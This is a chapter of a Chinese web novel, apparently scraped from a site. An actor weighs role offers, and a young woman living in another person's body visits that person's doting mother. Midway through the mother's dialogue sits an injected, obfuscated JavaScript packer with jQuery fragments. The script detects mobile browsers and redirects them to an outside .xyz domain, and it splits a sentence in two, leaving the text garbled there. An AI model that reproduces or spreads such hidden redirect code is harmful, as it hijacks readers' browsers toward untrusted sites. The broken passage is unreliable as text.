赵琢从小习武,虽然沉寂过一段时间,但也是有些风骨在身上的。
所以首先那部落地古偶被他第一时间pass掉,尤其是在看到人物设定后更是坚定了这个想法。
这个本子属于是标准的热元素堆砌本,集合了大女主、落地经营、祭天全家、复仇归来、兄弟反目、女王登基救世等等热梗,光看这些关键词感觉就够评一个S级了。
剧本中,自己被邀请饰演的反派男二是个被女主捡回来的孤儿,中间一度阴差阳错鸠占鹊巢,和男主演了一出真假少爷掉包,后来被男主不计前嫌收为暗卫,却忘恩负义,黑化背叛男女主,为了个人野望祭天女主全族,大权在握后又开始狗叫着要对女主进行一番巧取豪夺、最后还要因此而死的超绝恋爱脑。
这种本子赵琢看到就开始生理不适了。
黑化、背叛、觊觎主母、背后捅刀、为爱发癫。
精准踩雷。
虽然赵琢对张珂支支吾吾地组织了一大堆害怕形象定型、想要磨练技艺之类的好听话,但张珂还是敏锐察觉到了他的深层思路。
——《秘密》里演超绝恋爱脑那是没得选,有得选的情况下,有点大男子主义的他自然是敬谢不敏,更别说还要和男主炒CP?PASS!
视帝拿导筒的文艺片被第二个排除,这部本来也就是张珂拿来试探的,毕竟第一次合作,张珂也不知道赵琢是不是那种一门心思爱演文艺片的文青批。
然后赵琢在经典翻拍剧和大导谍战里举棋不定。
两者都看起来前途无量,叫好叫座,不管刷国民度还是刷资历都是一时之选。
不期然间赵琢想到了之前方可以的话。
赵琢掏了下口袋,然后想起来,现在谁还带硬币啊,出门都电子支付了。
“……有硬币吗?”
张珂:?
不知道赵琢发什么病,但毕竟是自己刚捧回来的祖宗,这种小事当然要满足。偌大一家天星传媒,找枚硬币当然不难的。
赵琢从气喘吁吁的助理手上接过一枚一元硬币,准备进行投掷。
然后他停了下来,没有真的去投。
“张哥,有没有办法,两部都接?”
小孩子才做选择,成年人选择都要。
*
这头,高铁到站海城。
从方可以大搞封|建迷信寻求心理安慰的行为当中,就可以看出她对回家拜见母上这事有多焦虑。
好在虽然她拖延症大发作,但毕竟每次想到这事就开始紧张焦虑,所以一边逃避一边搜集信息(主要是方如是友情提供),结合“方可以”的记忆和这段时间自身与对方的联络经历,也勉强能画出一个袁淑华的人格画像。
袁淑华的丈夫在方可以五六岁的时候发生意外,这中间没有发生什么特别狗血的情节,后来她以一己之力抚养长大两个孩子,并未再嫁。
袁女士知识分子家庭出身,少年时家庭生活颇为优越,大学读的美术专业,大学时期与后来的丈夫相识结婚,毕业后曾当过一段时间的家庭主妇,生下方可以后考了教资,当上了一家中学的美术老师。
原本生活算得上有钱有闲,只是后来方父早逝,袁淑华为了增加收入,顺应时代潮流进了一家教辅机构,当起了英语老师,中间还兼职辅导了几年的美术生艺考。
最近几年教辅行业不景气,加上袁淑华年纪大了,两个孩子也都上了大学,除了小儿子每年还在问她要钱,大女儿早早开始自力更生,经济压力相对减轻,袁女士也不再兼职,只继续当她的公立中学教师团体中的边缘人士等退休。
从这个角度看,方家出了两个艺术生其实也属于家学渊源。
方可以提前跟母亲说过今天回家,提着行李箱下了高铁站后就滴滴了一辆车到家。
方家住的房子是袁淑华参加工作后单位分的一套1室两房的教师家属房,已经有点年头;原本方父还在时买的那套房子,在方父死后被袁淑华做主卖了,缓解经济压力。她自己则带着两个小孩一起搬进了这套老公房。
方如是年少早熟,在母亲不在的时候就能熟练地在课余时间一边自我管理,一边带臭弟弟,加上外婆奶奶时不时来找帮忙,所以虽然不容易,但磕磕绊绊地这么多年也过来了。
这个小区大多是周边公立单位的职工分配房,后来许多人家工作变动辗转搬走,加上近年政策变动,事业单位拆并,有些楼栋产权居民过户后允许出租,就凭着配套设施比较完善的优势成为周边学校陪读的租房首选。
总体而言,这片区的大部分居民依然是上了年纪的老人和小孩
袁淑华住在六楼,方可以到的时候太阳都落山了,天际从赤橙向青蓝过度。
方可以一眼看到袁淑华等在楼下,正一边围观着别人下象棋,和不知道是同事还是邻居的阿姨有一搭没一搭聊天,讨论着附近菜市场哪里的菜新鲜,哪个小贩偷斤少量,新出了什么拼团平台之类,一边不时拍着蚊子。
看到方可以,袁淑华立刻从人群中跑出来,小跑着上来,顺手就要帮方可以提东西。
一张嘴,就开始嗔怪他不着家,十天半个月,她不打电话就想不到主动来报个平安云云。一会儿又跳到嘘寒问暖,问他是不是瘦了,是不是又长高了,学业辛不辛苦,学校里的衣服够不够穿。
“这又是什么东西?”袁淑华打开方可以递给她的袋子,里面是几个礼盒样的东西。
“看到顺手买的,你看看合不合用。”
此乃谎言。
其实全都是焦虑发作时方可以特意去买来当护身符的东西。
袁淑华脸上泛起一丝奇妙的惊喜:“给我的?”
得到肯定答案,她马上念叨,“瞎买什么东西,我什么都不缺,缺什么你姐姐也会给我买。你一个月打工才赚几个钱,不好好跟着老师学习,花这个冤枉钱做什么?有钱你就存起来,别乱花,你这行要花钱的地方多了去了,回头娶老婆不要钱啊?对了,在学校里有没有遇到喜欢的小姑娘?”
但看起来要不是还得爬楼梯,已经很想当面拆开包装看看了。
方可以只管瞎应一通,提着行李闷头上楼。
老公房没有装入户电梯,楼道墙壁都有些斑驳,几层楼的电灯不太灵敏,每次上楼要很大的动静才能感应亮起。
袁淑华如今也是快退休的人了,上了年纪,腰腿也不是很好,加上近年略有发福,上楼自然就比较吃力。
她一边上楼,一边念叨着:“你也不肯说几点到站,不让去接,饭吃了没,给你准备的都凉了,不晓得你几点回来,我剥了点虾仁你一会儿拌着面吃,还有皮蛋豆腐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740251|174135||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,要不够再给你炒个蛋。冰箱里冰着西瓜和绿豆汤,拿出来你晚点再吃。”
说的这些都是“方可以”爱吃的。
方可以将一切看在眼里,只能呐声应和。
《秘密》的影视分账虽然还未完全到账,但并不妨碍靳茜两口子千金市骨,哪怕这边电影方可以没有票房分红,这段时间以来他光收到的各种奖金税后都有几十万,后续陆陆续续还没结束。
当然,如无意外的话《秘密》后期的各种线上收益、海外版权这些和方可以的关联性不大,但凭借《秘密》的成绩,和SE的下一部戏约几乎板上钉钉地会重签分红合同。
就算方可以自己不说,靳茜怕他被人挖墙脚都会主动安排。
所以如果方可以是一个正常普通的孝子贤孙,此时既然将一切看在眼中,就应当直接开始考虑劝辛苦了一辈子的母亲搬出别住,换个条件更好的房子,现在这些钱全款没本事,付个首付还是问题不大的,哪怕现在的资金想要凑首付买个不错的地段或者房型还勉强,但至少可以先把态度表了。
但是方可以说不出口。
方可以自然而然地进行推测:假如建议袁淑华搬走,要搬去哪里?
周围这片袁淑华熟悉的片区都是老公房,搬走没有意义,离开了长久熟悉的居住环境,独自居住在海城,上下班不方便不说,还要重新适应生活起居,所以也不合理。
而她和方如是全都在夏京读书工作,最合理的走向就是劝袁淑华搬来夏京,在夏京买房或者租房。那谁提议谁负责,尤其最为对方最疼爱的儿子又是始作俑者,理所当然地应当由她来赡养。
那她愿意和这个陌生、但明显非常疼爱自己的母亲如此近距离的生活吗?
答案当然是否定的。
不要说朝夕相对,光是这短短一个罩面的功夫,方可以已经开始难受。
陌生人的关心让她被巨大的痛苦与焦虑笼罩,甚至感觉肠胃都开始神经性的痉挛。
她也不能单纯学习记忆中“方可以”的行为,那种理所当然的感情她做不到。勉强吃完了一顿非常合口味的饭菜,方可以下意识想要收拾碗碟,结果一进厨房就被袁淑华赶走,让他先去收拾自己东西。
“可可,有什么要洗的你丢在篮子里,我回头一起洗了。你去看看你寄回来的那些包裹,我都没拆,有垃圾就收出来,一会儿垃圾车就要走了。对了,先去吃西瓜,我给你晾好了,西瓜皮要赶紧扔的,回头放着招虫子。”
方可以一顿,慢慢吃了两片西瓜,但实在难受得有些反胃。
最后实在吃不下了,她勉强笑笑,让袁淑华只管自己吃。
袁淑华有些奇怪,又有些担忧地看她:“可可怎么这次回来胃口小了这么多?”
“坐太久车了,有点吃不下。”方可以随口编了个借口。
“又晕车了?你也不早说,我去给你拿晕车药。”
“没事了,只是闷着有点难受,现在已经好多了。”她实在没办法继续呆下去,看袁淑华把切出来的西瓜吃得差不多,干脆起身抢着说,“一会儿我拿垃圾下去丢,走走就没事了。”
“可可……”不等袁淑华说完,方可以已经仓促地收起垃圾袋,离开家门的动作似乎稳定,却又透出点仓皇而逃的意味。
袁淑华皱起眉。